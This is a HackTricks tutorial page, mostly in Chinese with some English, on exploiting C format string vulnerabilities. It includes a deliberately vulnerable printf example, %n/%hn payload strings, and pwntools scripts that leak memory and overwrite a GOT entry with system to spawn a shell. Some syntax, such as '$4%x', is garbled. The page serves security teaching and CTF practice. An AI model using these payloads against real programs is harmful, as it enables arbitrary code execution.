hacktricks/binary-exploitation/format-strings/README.md

168 lines
8.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 格式化字符串
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR**来分享您的黑客技巧。
</details>
## 基本信息
在C语言中**`printf`** 是一个用于**打印**字符串的函数。该函数期望的**第一个参数**是**带有格式化符号的原始文本**。接下来期望的参数是要从原始文本中**替换**格式化符号的**值**。
当将**攻击者文本用作该函数的第一个参数**时,漏洞就会出现。攻击者可以利用**printf格式字符串的功能**来构造一个**特殊输入**,以读取和**写入任何地址的任何数据(可读/可写)**。从而能够**执行任意代码**。
#### 格式化符号:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**示例:**
* 可被攻击的示例:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* 正常使用:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* 缺少参数时:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
### **访问指针**
格式`%<n>$x`,其中`n`是一个数字允许指示printf选择第n个参数来自堆栈。因此如果您想使用printf读取堆栈中的第4个参数可以执行以下操作
```c
printf("%x %x %x %x")
```
并且您将从第一个到第四个参数中读取。
或者您可以执行:
```c
printf("$4%x")
```
and read directly the forth.
Notice that the attacker controls the `pr`**`intf` parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
{% hint style="danger" %}
An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
{% endhint %}
## **Arbitrary Read**
It's possible to use the formatter **`$n%s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
```python
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
请注意您不能在输入的开头放置地址0x8048000因为该地址的末尾将被0x00截断。
{% endhint %}
## **任意写入**
格式化字符串 **`$<num>%n`** 会将**写入的字节数**写入到堆栈中的**指定地址**中的\<num>参数。如果攻击者可以使用printf写入尽可能多的字符他将能够使**`$<num>%n`** 在任意地址中写入任意数字。
幸运的是要写入数字9999不需要在输入中添加9999个"A",为了实现这一点,可以使用格式化字符串 **`%.<num-write>%<num>$n`** 将数字**`<num-write>`**写入到由`num`位置指向的地址中。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
然而,请注意,通常为了写入诸如`0x08049724`这样的地址(一次写入一个巨大的数字),**会使用`$hn`**而不是`$n`。这样可以**仅写入2字节**。因此此操作需要执行两次一次用于地址的最高2字节另一次用于最低的字节。
因此,此漏洞允许**在任何地址中写入任何内容(任意写入)。**
在此示例中,目标是**覆盖**稍后将调用的**GOT**表中**函数**的**地址**。尽管这可能会滥用其他任意写入执行技术:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
我们将**覆盖**一个**从**用户**接收其**参数**并将其指向**`system`** **函数**的**函数**。\
如前所述,通常需要两个步骤来写入地址:**首先写入地址的2字节**然后再写入另外2字节。为此使用**`$hn`**。
- **HOB** 用于地址的2个高字节
- **LOB** 用于地址的2个低字节
然后,由于格式字符串的工作原理,您需要**首先写入\[HOBLOB\]中较小的那个**,然后再写入另一个。
如果 HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
如果 HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
### Pwntools 模板
您可以在以下位置找到一个**模板**,用于准备针对这种类型漏洞的利用:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
或者可以参考这个基本示例[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## 格式字符串到缓冲区溢出
可以滥用格式字符串漏洞的写入操作来**写入栈上的地址**,并利用**缓冲区溢出**类型的漏洞。
## 其他示例和参考资料
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32位无relro无canarynx无pie基本使用格式字符串从栈中泄漏标志无需更改执行流程
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32位relro无canarynx无pie格式字符串覆盖地址`fflush`为win函数ret2win
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32位relro无canarynx无pie格式字符串写入`.fini_array`中main内的地址使流程再次循环1次并将地址写入指向`strlen`的GOT表中的`system`。当流程返回到main时`strlen`将使用用户输入执行,并指向`system`,将执行传递的命令。